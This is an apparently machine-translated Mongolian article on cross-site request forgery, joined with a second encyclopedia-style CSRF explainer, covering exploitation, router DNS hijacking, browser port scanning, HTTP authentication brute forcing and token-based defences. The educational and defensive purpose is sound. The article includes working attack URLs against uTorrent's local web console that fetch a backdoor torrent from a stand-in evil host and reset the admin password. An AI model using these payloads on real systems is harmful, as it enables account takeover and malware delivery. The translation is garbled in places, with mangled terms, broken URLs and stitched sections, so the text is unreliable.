Сайт дамнасан хүсэлтийг хуурамчаар үйлдэх - юу ч биш гэсэн маш их шуугиан

Александр Антипов

IN Сүүлийн үедВэб програмын аюулгүй байдлын нийгэмлэгт Cross-Site Request Forgery (CSRF эсвэл XSRF) хэмээх "шинэ" төрлийн эмзэг байдлын талаар өргөн хэлэлцүүлэг өрнөж байна. Бидний уншигчдын анхааралд хүргэж буй нийтлэлд энэ төрлийн эмзэг байдлын тодорхойлолт, түүнийг ашиглах арга, хамгаалах үндсэн аргуудыг багтаасан болно.

Сергей Гордейчик

Gordey @ ptsecurity com

Саяхан вэб програмын аюулгүй байдлын нийгэмлэгт Cross-Site Request Forgery (CSRF эсвэл XSRF) хэмээх "шинэ" төрлийн эмзэг байдлын талаар маш их хэлэлцүүлэг өрнөж байна. Бидний уншигчдын анхааралд хүргэж буй нийтлэлд энэ төрлийн эмзэг байдлын тодорхойлолт, түүнийг ашиглах арга, хамгаалах үндсэн аргуудыг багтаасан болно. Сайт хоорондын хүсэлтийг хуурамчаар үйлдэх гэсэн Оросын нийтээр хүлээн зөвшөөрөгдсөн нэр томъёо хараахан тогтоогдоогүй байгаа тул зохиогч "HTTP хүсэлтийг хуурамчаар үйлдэх" сонголтыг ашиглахыг санал болгож байна.

Уянгын ухралт

Юуны өмнө би CSRF-тэй холбоотой гол буруу ойлголтуудын талаар ярихыг хүсч байна.

1. HTTP хүсэлтийг хуурамчаар үйлдэх нь шинэ төрлийн эмзэг байдал юм.

Энэ үнэнээс хол байна. Мессежийн эх сурвалжийг хууран мэхлэх сэдвийн талаархи онолын санаанууд нь 1988 оноос эхтэй (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html), эмзэг байдлын практик жишээг 2000 оноос хойш Bugtraq-д хэлэлцсэн (http). ://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Энэ нэр томъёог өөрөө 2001 онд Питер Уоткинс (http://www.securiteam.com/securitynews/5FP0C204KE.html) нэвтрүүлсэн.

2. CSRF нь Cross-Site Scripting (XSS) хувилбар юм.

CSRF болон XSS хоёрын ижил төстэй цорын ганц зүйл бол вэб програмын үйлчлүүлэгчдийг халдлагын вектор болгон ашиглах явдал юм (WASC хэл дээрх Client-Side Attack http://www.webappsec.org/projects/threat/). CSRF-ийн эмзэг байдлыг XSS эсвэл "redirectors" (http://www..php)-тай хамт ашиглаж болох боловч эмзэг байдлын тусдаа ангиллыг төлөөлдөг.

3. CSRF-ийн эмзэг байдал нь нийтлэг биш бөгөөд ашиглахад нэлээд хэцүү байдаг.

Positive Technologies-ийн нэвтрэлтийн туршилт, вэб програмын аюулгүй байдлын үнэлгээний явцад олж авсан өгөгдөл нь вэб програмуудын дийлэнх нь энэ эмзэг байдалд өртөмтгий болохыг харуулж байна. Бусад эмзэг байдлаас ялгаатай нь CSRF нь програмчлалын алдааны үр дүнд үүсдэггүй, харин вэб сервер болон хөтчийн ердийн үйлдэл юм. Тэдгээр. Стандарт архитектурыг ашигладаг ихэнх сайтууд анхдагч байдлаар эмзэг байдаг.

Хэрэглээний жишээ

CSRF-ийн хэрэглээг жишээгээр харцгаая. Мессеж илгээдэг вэб програм байна гэж бодъё Имэйл. Хэрэглэгч имэйл хаяг болон мессежийн текстийг зааж, Submit товчийг дарж, түүний хаягаас мессежийг хүлээн авагч руу илгээнэ.

Цагаан будаа. 1. Мессеж илгээж байна

Энэ схемийг олон сайтаас мэддэг бөгөөд ямар ч эсэргүүцэл үүсгэдэггүй. Гэсэн хэдий ч дээрх програм нь HTTP Request Forgery халдлагад өртөмтгий байх магадлалтай. Эмзэг байдлыг ашиглахын тулд халдагч өөрийн вэбсайт дээр "зураг"-ын холбоос бүхий хуудсыг үүсгэж, дараа нь хэрэглэгчийг өөрийн вэбсайтын холбоосыг дагахыг албадах боломжтой (жишээлбэл, http://bh.ptsecurity.ru/xcheck). /csrf.htm).

Хуудас руу нэвтрэх үед хэрэглэгчийн хөтөч нь зургийг ачаалахыг оролддог бөгөөд үүний тулд эмзэг програмтай холбогддог, i.e. хүсэлтийн "to" талбарт заасан хүлээн авагч руу имэйл мессеж илгээдэг.

Цагаан будаа. 2. CSRF халдлага

Хэрэглэгчийн хөтөч нь Cookie утгыг сайт руу илгээх болно гэдгийг анхаарна уу, i.e. хүсэлтийг баталгаажуулсан хэрэглэгчээс ирсэн гэж үзэх болно. Хэрэглэгчийг эмзэг сервер рүү хүсэлт илгээдэг хуудсыг ачаалахад хүчээр оруулахын тулд халдагч аргуудыг ашиглаж болно. нийгмийн инженерчлэл, түүнчлэн XSS гэх мэт техникийн эмзэг байдал, дахин чиглүүлэх функцийг хэрэгжүүлэх явцад гарсан алдаанууд.

Цагаан будаа. 3. CSRF үйлдлийн логик

Тиймээс, CSRF халдлага нь дурын сайтууд руу HTTP хүсэлт илгээхийн тулд хэрэглэгчийн хөтөчийг ашигладаг бөгөөд эмзэг байдал нь HTTP хүсэлтийн эх сурвалжийг шалгаагүй явдал юм. Жишээ програм нь HTTP GET аргыг ашиглан параметрүүдийг дамжуулдаг бөгөөд энэ нь халдагчийн амьдралыг хөнгөвчилдөг. Гэсэн хэдий ч, POST аргыг ашигласнаар HTTP хүсэлтийг хуурамчаар үйлдэх халдлагыг автоматаар арилгана гэж битгий бодоорой. Халдагчийн сервер дээрх хуудас нь хуудсыг үзэх үед автоматаар илгээгдэх бэлэн HTML маягт агуулж болно.

CSRF-ийг ашиглахын тулд халдагч өөрийн вэб сервертэй байх шаардлагагүй. Хүсэлтийг эхлүүлсэн хуудсыг цахим шуудангаар эсвэл бусад аргаар дамжуулж болно.

Билли Хоффманы тойм нь Javascript ашиглан сүлжээний янз бүрийн аргуудыг хамардаг. XmlHttxmpquest (зарим тохиолдолд) зэрэг бүгдийг нь CSRF халдлагыг хэрэгжүүлэхэд ашиглаж болно.

Уншигч CSRF болон XSS хоёрын гол ялгааг аль хэдийн ойлгосон байх гэж найдаж байна. XSS-ийн хувьд халдагч нь унших, бичих аль алинд нь эмзэг хуудасны DOM (Баримт бичгийн объектын загвар) руу нэвтрэх эрхтэй болдог. CSRF-ийг ажиллуулах үед халдагчид хэрэглэгчийн хөтөчийг ашиглан сервер рүү хүсэлт илгээх боломжтой боловч серверийн хариултыг хүлээн авч, дүн шинжилгээ хийх боломжгүй, түүний толгой хэсгийг (жишээ нь, Cookie) авахгүй. Үүний дагуу "HTTP хүсэлтийг хуурамчаар үйлдэх" нь "зөвхөн бичих" горимд програмтай ажиллах боломжийг олгодог боловч энэ нь бодит халдлага хийхэд хангалттай юм.

CSRF халдлагын гол зорилтууд нь цахим шуудангийн систем, форум, CMS, интерфейс гэх мэт янз бүрийн интерактив вэб програмууд юм. алсын удирдлага сүлжээний тоног төхөөрөмж. Жишээлбэл, халдагчид вэб интерфэйсээр дамжуулан бусад хэрэглэгчдийн өмнөөс мессеж илгээх, шинэ бүртгэл нэмэх эсвэл чиглүүлэгчийн тохиргоог өөрчлөх боломжтой.

Цагаан будаа. 4. Форумд CSRF ашиглах жишээ

Сүүлийнх - тохиргоог өөрчлөх талаар нарийвчлан авч үзье сүлжээний төхөөрөмжүүд. Зохиогч аль хэдийн утасгүй халдлагыг илрүүлэх системүүдийн талаар дурдсан боловч мэдээжийн хэрэг асуудал нь тэдэнээр хязгаарлагдахгүй.

Бид периметрийг давж гардаг

Өнгөрсөн арванхоёрдугаар сард Symantec компани "Drive-By Pharming" нэртэй "шинэ" халдлагын тухай тайлан нийтэлсэн бөгөөд энэ нь үндсэндээ CSRF-ийн мөлжлөгийн хувилбар юм. Халдагч нь чиглүүлэгчийн тохиргоог өөрчилдөг, жишээлбэл, шинэ DNS серверийн утгыг тохируулах гэх мэт хэрэглэгчийн хөтөч дээр ямар нэгэн "шидэт" JavaScript-г ажиллуулдаг. Энэ халдлагыг хийхийн тулд та дараах асуудлуудыг шийдэх хэрэгтэй.

JavaScript ашиглан порт скан хийх;

Вэб програмын төрлийг тодорхойлох (хурууны хээ);

CSRF ашиглан нууц үг таах, баталгаажуулах;

CSRF халдлага ашиглан хостын тохиргоог өөрчлөх.

JavaScript ашиглан вэб сервер болон түүний програм хангамжийн төрлийг тодорхойлохын тулд сканнердах аргыг нэлээд сайн боловсруулсан бөгөөд динамик бүтээлТөрөл бүрийн дотоод URL руу чиглэсэн HTML объектууд (жишээ нь img src=) (жишээ нь http://192.168.0.1/pageerror.gif). Хэрэв "зураг" амжилттай ачаалагдсан бол шалгагдсан хаяг дээр Microsoft IIS-д суурилсан вэб сервер байрлана. Хэрэв хариулт 404 алдаа хүлээн авбал порт нээлттэй бөгөөд вэб сервер дээр ажиллаж байна. Хэрэв хугацаа хэтэрсэн бол сервер сүлжээнд байхгүй эсвэл порт галт хананд хаагдсан байна. За, бусад тохиолдолд - порт хаалттай, гэхдээ хост хандах боломжтой (сервер RST пакетийг буцааж өгсөн бөгөөд хугацаа дуусахаас өмнө хөтөч алдаа гаргасан). Зарим тохиолдолд хэрэглэгчийн хөтчөөс ийм порт сканнердах ажиллагааг JavaScript ашиглахгүйгээр хийж болно (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

Төхөөрөмжийн төрлийг тодорхойлсны дараа халдагчид хэрэглэгчийн хөтчөөс тохиргоог өөрчлөх хүсэлтийг шууд илгээхийг оролдож болно. Гэхдээ хэрэглэгчийн хөтөч төхөөрөмжөөс баталгаажуулсан сессийг аль хэдийн идэвхжүүлсэн тохиолдолд л ийм хүсэлт амжилттай болно. Гар дээр байх нээх хуудасчиглүүлэгчийг удирдах нь олон "дэвшилтэт" хэрэглэгчдийн муу зуршил юм.

Удирдлагын интерфейстэй идэвхтэй сесс байхгүй бол халдагч баталгаажуулах шаардлагатай. Хэрэв төхөөрөмж маягт дээр суурилсан баталгаажуулалтыг хэрэгжүүлбэл ямар ч асуудал гарахгүй. POST дахь CSRF-ийг ашигласнаар сервер рүү зөвшөөрлийн хүсэлт илгээгдэж, үүний дараа зураг (эсвэл хуудас) ачаалагдах бөгөөд зөвхөн баталгаажуулсан хэрэглэгчид хандах боломжтой. Хэрэв зургийг хүлээн авсан бол баталгаажуулалт амжилттай болсон бөгөөд та үргэлжлүүлж болно цаашдын арга хэмжээ, үгүй ​​бол өөр нууц үг оруулж үзнэ үү.

Хэрэв халдлагад өртсөн төхөөрөмж үндсэн баталгаажуулалтыг хэрэгжүүлбэл ажил илүү төвөгтэй болно. Интернет хөтөч Explorer нь URL-д хэрэглэгчийн нэр, нууц үг оруулах боломжийг дэмждэггүй (жишээ нь, http://user: [имэйлээр хамгаалагдсан]). Үүнтэй холбогдуулан үндсэн баталгаажуулалтыг хийхийн тулд нийтлэлд тайлбарласан Flash ашиглан HTTP толгойг нэмэх аргыг ашиглаж болно. Гэсэн хэдий ч, энэ арга нь зөвхөн Flash-ийн хуучин хувилбаруудад ажилладаг бөгөөд энэ нь улам бүр багасч байна.

Гэхдээ Firefox гэх мэт бусад хөтчүүд нь URL-д хэрэглэгчийн нэр, нууц үгийг зааж өгөх боломжийг олгодог бөгөөд ямар ч серверт нэвтрэлт танилт хийх боломжтой бөгөөд нууц үг буруу байвал алдааны мэдэгдэл үүсгэхгүйгээр үүнийг хийж болно.

Стефан Эссерийн блогоос үндсэн аргыг ашиглан чимээгүй баталгаажуулалтын жишээ скриптийг доор өгөв.

Firefox HTTP Auth Bruteforcing

Цагаан будаа. 5. Firefox дахь үндсэн баталгаажуулалт

Домэйн дээр суурилсан гэх мэт SSO механизмыг ихэвчлэн ашигладаг корпорацийн орчинд Active Directoryболон Kerberos болон NTLM протоколууд нь CSRF-ийг ашиглахад нэмэлт хүчин чармайлт шаарддаггүй. Хөтөч нь одоогийн хэрэглэгчийн аюулгүй байдлын контекстийг автоматаар баталгаажуулах болно.

Баталгаажуулсны дараа халдагчид JavaScript-г ашиглан чиглүүлэгчийн тохиргоог DNS серверийн хаяг гэх мэт дурын тохиргоог өөрчлөх хүсэлт илгээдэг.

Хамгаалах аргууд

CSRF хамгаалах тухай ярихад хамгийн түрүүнд санаанд орж ирдэг зүйл бол Referer толгойн утгыг шалгах явдал юм. Үнэн хэрэгтээ HTTP хүсэлтийг хуурамчаар үйлдэх нь гуравдагч сайтаас хүсэлтийг дамжуулахтай холбоотой тул хөтчөөс хүсэлтийн толгой хэсэгт хаягийг автоматаар нэмдэг анхны хуудсыг хянах нь асуудлыг шийдэж чадна.

Гэсэн хэдий ч энэ механизм нь хэд хэдэн сул талуудтай. Нэгдүгээрт, хөгжүүлэгч нь Referer толгойгүй хүсэлтийг боловсруулах асуулттай тулгардаг. Олон хувийн галт ханаболон прокси серверүүдийг нэрээ нууцлах нь Referer-ийг аюултай байж болзошгүй толгой хэсэг болгон хассан. Үүний дагуу сервер үл тоомсорловол ижил төстэй хүсэлтүүд, хамгийн "параноид" иргэдийн бүлэг түүнтэй ажиллах боломжгүй болно.

Хоёрдугаарт, зарим тохиолдолд Referer-ийн толгой хэсгийг хууран мэхлэх боломжтой, жишээлбэл аль хэдийн дурдсан Flash трикийг ашиглан. Хэрэв хэрэглэгч IE 6.0 ашиглаж байгаа бол хүсэлтийн толгой хэсгийн агуулгыг XmlHttxmpquest хэрэгжилтийн алдааг ашиглахын тулд өөрчилж болно. Эмзэг тал нь HTTP аргын нэрээр шинэ мөрийн тэмдэгтүүдийг ашиглах боломжтой бөгөөд энэ нь толгой хэсгийг өөрчлөх, бүр нэмэлт хүсэлт оруулах боломжийг олгодог. Энэ эмзэг байдлыг 2005 онд Amit Klein() илрүүлсэн бөгөөд 2007 онд дахин илрүүлсэн. Энэ аргын хязгаарлалт нь зөвхөн хэрэглэгч болон серверийн хооронд HTTP прокси байгаа эсвэл серверүүд ижил IP хаяг дээр байрладаг тохиолдолд л ажилладаг. гэхдээ өөр өөр домэйн нэртэй.

Өөр нэг нийтлэг арга бол хүсэлт бүрт өвөрмөц параметр нэмэх бөгөөд дараа нь серверээр баталгаажуулдаг. Параметрийг GET хүсэлтийг ашиглах үед URL-д нэмэх боломжтой, тухайлбал POST ашиглах үед далд хэлбэрийн параметр болгон ашиглаж болно. Параметрийн утга нь дур зоргоороо байж болно, гол зүйл бол халдагч үүнийг урьдчилан таамаглах боломжгүй, жишээлбэл, хэрэглэгчийн сессийн үнэ цэнэ юм.

Цагаан будаа. 6. Bitrix дахь CSRF хамгаалалт

CSRF шалгах функцийг програмдаа хурдан нэмэхийн тулд та дараах аргыг ашиглаж болно.

1. Үүсгэсэн хуудас бүрт жижиг JavaScript нэмж, бүх маягтуудад Cookie утгыг өгсөн нэмэлт далд параметрийг нэмнэ.

2. Үйлчлүүлэгчийн POST аргыг ашиглан илгээсэн өгөгдөл нь одоогийн Cookie-ийн утгатай тэнцэх утгыг агуулж байгаа эсэхийг сервер дээр шалгана уу.

Ийм үйлчлүүлэгчийн скриптийн жишээг доор өгөв.

Энэ аргын цаашдын хөгжил нь сесс танигчийг күүки дотор биш, харин далд хэлбэрийн параметр (жишээлбэл, VIEWSTATE) болгон хадгалах явдал юм.

CSRF-ийг эсэргүүцэх аргын хувьд Тюринг тестийн янз бүрийн хувилбаруудыг ашиглаж болно, жишээлбэл, сайн мэддэг зургууд - CAPTCHA. Өөр нэг түгээмэл сонголт бол чухал тохиргоог өөрчлөх үед хэрэглэгчийн нууц үг шаардах явдал юм.

Цагаан будаа. 7. mail.ru дахь CSRF хамгаалалт

Тиймээс, сайт хоорондын хүсэлтийг хуурамчаар үйлдэх нь вэб програмын үйлчлүүлэгч рүү чиглэсэн халдлага бөгөөд HTTP хүсэлтийн эх сурвалжийн баталгаажуулалтыг хангалтгүй ашигладаг. Ийм халдлагаас хамгаалахын тулд Referer толгой хэсэг эсвэл нэмэлт "санамсаргүй" параметр дээр үндэслэн хүсэлтийн эх үүсвэрийн нэмэлт хяналтыг ашиглаж болно.

Сергей Гордейчик нь Positive Technologies-д системийн архитектороор ажилладаг бөгөөд програмын аюулгүй байдал, утасгүй болон гар утасны технологийн аюулгүй байдлын чиглэлээр мэргэшсэн. Зохиогч нь мөн аюулгүй байдлын тэргүүлэх хөгжүүлэгч юм утасгүй сүлжээнүүд", "Информзашита" сургалтын төвийн "Вэб хэрэглээний аюулгүй байдлын шинжилгээ, үнэлгээ". "Windows IT Pro/RE", SecurityLab болон бусад хэвлэлд хэдэн арван нийтлэл хэвлүүлсэн. Тэрээр Web Application Security Consortium (WASC) төслүүдийн гишүүн юм.

Сайт хоорондын хүсэлтийг хуурамчаар үйлдэх, мөн нэг товшилтын халдлага эсвэл сесс хөтөч гэгддэг ба CSRF гэж товчилдог (заримдаа далайн түрлэгсонсох)) эсвэл XSRF нь вэб программын итгэмжлэгдсэн хэрэглэгчээс зөвшөөрөлгүй тушаалуудыг илгээдэг вэб сайтаас ашигладаг хортой програмын төрөл юм. Хортой вэбсайт ийм тушаалуудыг дамжуулах олон арга зам байдаг; Жишээлбэл, тусгайлан бүтээсэн зургийн шошго, далд маягт, JavaScript XMLHttpRequests нь хэрэглэгчийн оролцоогүйгээр, бүр мэдлэггүйгээр ажиллах боломжтой. Хэрэглэгчийн тодорхой сайтад итгэх итгэлийг ашигладаг сайт хоорондын скриптээс (XSS) ялгаатай нь CSRF нь тухайн сайтын хэрэглэгчийн браузерт итгэх итгэлийг ашигладаг.

түүх

CSRF-ийн эмзэг байдал нь мэдэгдэж байгаа бөгөөд зарим тохиолдолд 2001 оноос хойш ашиглагдаж байна. Энэ нь хэрэглэгчийн IP хаягаас хийгдсэн тул зарим вэб сайтын бүртгэлд CSRF-ийн нотолгоо байхгүй байж магадгүй юм. Мөлжилтийг дутуу үнэлдэг, by ядажолон нийтэд, 2007 оны байдлаар хэд хэдэн сайн баримтжуулсан жишээнүүд байсан:

• 2006 онд Netflix вэб сайт нь олон тооны CSRF-ийн сул талуудтай байсан бөгөөд халдагчид хохирогчийн түрээсийн дараалалд DVD нэмэх, дансны тээвэрлэлтийн хаягийг өөрчлөх, эсвэл хохирогчийн нэвтрэх мэдээллийг өөрчлөх зэрэг үйлдлүүдийг хийх боломжийг олгож, бүртгэлийг бүрэн сүйтгэж байсан.
• Онлайн банкны вэб програм ING Direct нь CSRF халдлагад өртөмтгий байсан тул хууль бус мөнгө шилжүүлэх боломжийг олгодог.
• Алдартай видео вэб сайт YouTube нь 2008 онд CSRF-д өртөмтгий байсан бөгөөд энэ нь ямар ч халдагчид ямар ч хэрэглэгчийн хийж чадах бараг бүх зүйлийг хийх боломжийг олгосон.
• McAfee нь мөн CSRF-д өртөмтгий байдаг бөгөөд энэ нь халдагчдад компанийнхаа системийг өөрчлөх боломжийг олгосон.

2018 онд вэб төхөөрөмжид шинэ халдлага, өөрчлөлт хийх оролдлого хийсэн DNS тохиргоочиглүүлэгчид. Зарим чиглүүлэгч үйлдвэрлэгчид аюулгүй байдлыг сайжруулахын тулд програм хангамжийн шинэчлэлтүүдийг гаргахаар яаравчлан, эрсдэлийг бууруулахын тулд чиглүүлэгчийн тохиргоогоо өөрчлөхийг хэрэглэгчдэд зөвлөжээ. "Аюулгүй байдлын тодорхой шалтгаан" гэсэн шалтгаанаар дэлгэрэнгүй мэдээлэл өгөөгүй байна.

Жишээ ба шинж чанарууд

Хохирогчийг бүртгүүлж байх үед буух хуудаснаас тодорхой үйлдэл хийдэг давтагдах холбоосыг олж чаддаг халдагчид ийм холбоосыг өөрийн удирддаг хуудсандаа суулгаж, хохирогчийг хууран мэхэлж нээх боломжтой. Халдлагын медиа холбоосыг хохирогчийн зорилтот сайт руу (форумын хэлэлцүүлэг гэх мэт) нэвтэрч ороход хамгийн их магадлалтай газарт байрлуулж эсвэл HTML имэйл эсвэл хавсралтаар илгээж болно. UTorrent (CVE-2008-6586) дээрх CSRF-ийн бодит эмзэг байдал нь түүний вэб консолыг localhost:8080 дээр ашиглах боломжтой тул энгийн GET хүсэлтээр чухал үйлдлүүдийг гүйцэтгэх боломжийг ашигласан:

Torrent файлыг хүчээр татаж авах http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Utorrent админ нууц үгийг өөрчлөх http://localhost:8080/gui/action = setsetting & s = webui.password & v = eviladmin

Халдлагууд нь форум болон цахим шуудангийн спам дээр хортой, автоматжуулсан HTML зургийн элементүүдийг байрлуулах замаар эхлүүлсэн бөгөөд ингэснээр эдгээр хуудсууд руу зочилж буй хөтчүүд хэрэглэгчдэд ямар ч арга хэмжээ авахгүйгээр автоматаар нээх болно. Эдгээр хуудсыг нээхтэй зэрэгцэн Utorrent-ийн эмзэг хувилбарыг ажиллуулж байгаа хүмүүс халдлагад өртөмтгий байсан.

Зургийн шошго ашиглан CSRF халдлага нь ихэвчлэн хэрэглэгчид зураг нийтлэх боломжтой интернэт форумаас хийгддэг боловч JavaScript биш, жишээ нь BBCode ашиглан:

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Localhost:8080 дээрх локал Utorrent програмын халдлагын холбоос руу нэвтрэх үед хөтөч нь тухайн домэйнд байгаа күүкийг үргэлж автоматаар илгээх болно. Вэб хөтчүүдийн энэхүү нийтлэг өмч нь хэрэглэгч зорилтот вэб сайтад нэвтэрсэн л бол CSRF халдлагад зорилтот эмзэг байдлаа ашиглаж, дайсагнасан үйлдэл хийх боломжийг олгодог (энэ жишээнд). орон нутгийн вэб- Utorrent интерфейс) халдлагын үед.

Сайт хоорондын хүсэлтийг хуурамчаар үйлдэх нь вэб хөтчийн эсрэг төөрөгдүүлсэн прокси халдлага юм.

CSRF нь ихэвчлэн дараахь шинж чанартай байдаг.

• Үүнд хэрэглэгчийн таних тэмдэгт тулгуурласан сайтууд орно.
• Энэ нь тухайн сайтын итгэлийг хөшүүрэг болгодог.
• Энэ нь зорилтот сайт руу HTTP хүсэлт илгээхийн тулд хэрэглэгчийн хөтөчийг хуурдаг.
• Үүнд гаж нөлөө бүхий HTTP хүсэлтүүд багтана.

HTTP үйл үг ба CSRF

• HTTP GET-д CSRF-ийг ашиглах нь дээр дурдсан аргууд, тухайлбал өөрчилсөн параметрүүдийг агуулсан, IMG шошго ашиглан автоматаар ачаалагдах энгийн гипер холбоосыг ашиглах нь маш энгийн зүйл юм. Гэсэн хэдий ч HTTP тодорхойлолтын дагуу GET-ийг аюулгүй арга болгон ашиглах ёстой, өөрөөр хэлбэл програм дахь хэрэглэгчийн төлөвийг мэдэгдэхүйц өөрчлөхгүйгээр. Ийм үйлдэлд GET ашигладаг програмууд HTTP POST руу шилжих эсвэл CSRF хамгаалалтыг ашиглах ёстой.
• HTTP POST нь ашиглалтын нарийвчилсан тохиолдлуудаас хамааран CSRF-ийн янз бүрийн сул талуудтай:
  • Хамгийн энгийнээр хэлбэл, асуулгын мөр болгон кодлогдсон өгөгдөл бүхий POST (талбар1=утга1&талбар2=утга2) CSRF халдлага нь энгийн HTML маягтыг ашиглан амархан хэрэгждэг бөгөөд CSRF-ийн эсрэг арга хэмжээ авах шаардлагатай.
  • Хэрэв өгөгдөл өөр форматаар (JSON, XML) дамжуулагдсан бол стандарт арга юм POST хүсэлт XMLHttpRequest-ийг CSRF халдлагад ашиглах нь SOP болон ; ENCTYPE шинж чанарыг ашиглан энгийн HTML маягтаас дурын контент оруулах арга байдаг; Ийм хуурамч хүсэлтийг хууль ёсны хүсэлтээс текст/энгийн агуулгын төрлөөр нь ялгаж болох боловч хэрэв сервер дээр үүнийг гүйцэтгээгүй бол CSRF-г ажиллуулж болно.
• бусад HTTP аргуудыг (PUT, DELETE гэх мэт) зөвхөн SOP болон CSRF урьдчилан сэргийлэх бүхий XMLHttpRequest ашиглан гаргаж болно; Гэсэн хэдий ч эдгээр арга хэмжээ нь Access-Control-Allow-Origin: * толгой хэсгийг ашиглан идэвхгүй болгосон вэбсайтуудад идэвхжихгүй.

CSRF-ийн бусад хандлага

Нэмж дурдахад CSRF нь ихэвчлэн статик халдлагын төрөл гэж тодорхойлогддог ч Samy worm-ийн харуулсан шиг сайт хоорондын халдлагын хувилбарт зориулсан ачааллын нэг хэсэг болгон динамикаар бүтээгдэж, эсвэл сайтаас гадуурх контентоор дамжуулагдсан сессийн мэдээллээс шууд бүтээгдэж болно. Зорилтот руу хортой URL болгон илгээсэн. CSRF жетонуудыг сессийг засах эсвэл бусад эмзэг байдлын улмаас хорлонтой үйлчлүүлэгч илгээх эсвэл олон мянган бүтэлгүй хүсэлтийг үүсгэдэг хортой хуудас руу хөрвүүлсэн бүдүүлэг хүчний дайралтаар таамаглаж болно. "Динамик CSRF" халдлагын анги буюу тухайн сессэд зориулсан хууран мэхлэлтэд үйлчлүүлэгч тус бүрд зориулсан ачааллыг ашиглах талаар 2009 онд Натан Хамиэл, Шон Мойер нар BlackHat-ийн товч танилцуулга дээр тайлбарласан боловч ангилал зүйг хараахан өргөнөөр ашиглах боломжгүй байна.

Динамик CSRF халдлагыг зохиох шинэ векторыг 2012 оны 1-р сарын орон нутгийн OWASP бүлгийн хурал дээр Орен Офер танилцуулсан - "AJAX Hammer - Dynamic CSRF".

Үр дагавар

Root эрх бүхий алсаас код гүйцэтгэхэд хүргэдэг CSRF-ийн эмзэг байдлын хувьд ноцтой байдлын шалгуур үзүүлэлтүүд гарсан бөгөөд мөн үндсэн гэрчилгээг алдагдуулж болзошгүй бөгөөд энэ нь нийтийн түлхүүрийн дэд бүтцийг бүрэн сүйтгэж болзошгүй юм.

Хязгаарлалт

Сайт хоорондын хуурамч хүсэлтийг амжилттай биелүүлэхийн тулд хэд хэдэн зүйл тохиолдох ёстой:

Халдагч нь лавлагааны толгой хэсгийг шалгадаггүй сайт эсвэл хохирогчийг хөтөч эсвэл лавлагаа хууран мэхлэх боломжийг олгодог залгаас ашиглан зорих ёстой.

Халдагчид ямар нэгэн зүйл хийх (мөнгө шилжүүлэх, хохирогчийн цахим шуудангийн хаяг, нууц үгийг өөрчлөх гэх мэт) сөрөг үр дагавар бүхий зорилтот сайт эсвэл URL-аас мэдүүлгийн маягтыг олох ёстой.

Халдагчид бүх маягт эсвэл URL оролтын зөв утгыг тодорхойлох ёстой; Хэрэв тэдгээрийн аль нэг нь халдагчид таах боломжгүй нууц нотолгооны утгууд эсвэл танигчтай байсан бол халдлага бүтэлгүйтэх магадлалтай (хэрэв халдагчид таамаглахад маш азтай байсан бол).

Халдагчид хохирогчийг зорилтот сайт руу нэвтэрч байх хооронд хортой код агуулсан вэб хуудас руу татах ёстой.

Халдлага нь сохор: халдагч нь сайт хоорондын скрипт эсвэл зорилтот сайтын өөр алдааг ашиглахаас бусад тохиолдолд хуурамч хүсэлтийн хариуд зорилтот сайт хохирогч руу юу илгээж байгааг харж чадахгүй. Нэмж дурдахад, халдагч нь зөвхөн ямар ч холбоосыг онилж эсвэл анхны хуурамч хүсэлтийн дараа ирсэн аливаа маягтыг илгээж болно, хэрэв дараагийн холбоосууд эсвэл маягтуудыг урьдчилан таамаглах боломжтой бол. (Хуудас дээр олон зураг оруулах, эсвэл JavaScript ашиглан товшилтуудын хооронд саатал гаргах замаар олон зорилтыг загварчилж болно.)

Эдгээр хязгаарлалтыг харгалзан халдагчид хохирогчдын нэрээ нууцалсан мэдээлэл эсвэл эмзэг хэлбэрийн төлөөллийг олоход бэрхшээлтэй байж болно. Нөгөөтэйгүүр, халдлага хийх оролдлогыг хохирогчид амархан суулгаж, илрүүлдэггүй бөгөөд програм хөгжүүлэгчид нууц үг эвдэх толь бичгийн халдлагаас илүү CS халдлагад бага мэддэг бөгөөд бэлтгэлтэй байдаг.

урьдчилан сэргийлэх

Ихэнх CSRF-ээс урьдчилан сэргийлэх аргууд нь хүсэлтэд нэмэлт баталгаажуулалтын өгөгдлийг оруулах замаар ажилладаг бөгөөд энэ нь вэб програмд ​​зөвшөөрөлгүй газраас ирсэн хүсэлтийг илрүүлэх боломжийг олгодог.

Синхрончлогчийн тэмдэглэгээний загвар

• Нэвтрэх үед вэб програм нь хэрэглэгчийн сессийн туршид өөрчлөгдөөгүй санамсаргүй токен агуулсан күүки тохируулдаг.

Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; хугацаа дуусна=2015 оны 7-р сарын 23-ны Пүрэв, 10:25:33 GMT; Хамгийн их нас=31449600; Зам=/

• Үйлчлүүлэгч тал дээр ажиллаж байгаа JavaScript нь утгыг уншиж, гүйлгээний хүсэлт бүрт илгээсэн тусгай HTTP толгой хэсэгт хуулдаг.

X-Csrf-Токен: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

• Сервер нь жетон байгаа эсэх, бүрэн бүтэн байдлыг шалгадаг

Энэ аргын аюулгүй байдал нь зөвхөн ижил гарал үүсэлтэй JavaScript нь күүкийн утгыг унших боломжтой гэсэн таамаглал дээр суурилдаг. Хуурамч файл эсвэл имэйл хаягаар ажиллаж байгаа JavaScript нь захиалгат толгой хэсэгт уншиж, хуулах боломжгүй. Хэдийгээр CSRF жетон күүки нь хуурамч хүсэлтийн хамт автоматаар илгээгдэх боловч сервер хүчинтэй X-CSRF токен толгойг хүлээж байх болно.

CSRF токен нь өөрөө өвөрмөц бөгөөд урьдчилан таамаглах аргагүй байх ёстой. Үүнийг санамсаргүй байдлаар үүсгэж болно, эсвэл HMAC ашиглан сессийн токенуудаас авч болно:

Csrf_token = HMAC(session_token, application_secret)

CS күүки токен нь HTTPOnly тугтай байх ёсгүй, учир нь энэ нь JavaScript дизайнаар унших зориулалттай.

Энэ аргыг Django, AngularJS зэрэг орчин үеийн олон фреймворкууд хэрэгжүүлдэг. Токен нь хэрэглэгчийн сессийн туршид тогтвортой хэвээр байгаа тул AJAX програмуудтай сайн ажилладаг боловч вэб програмуудад үйл явдлын дарааллыг өгдөггүй.

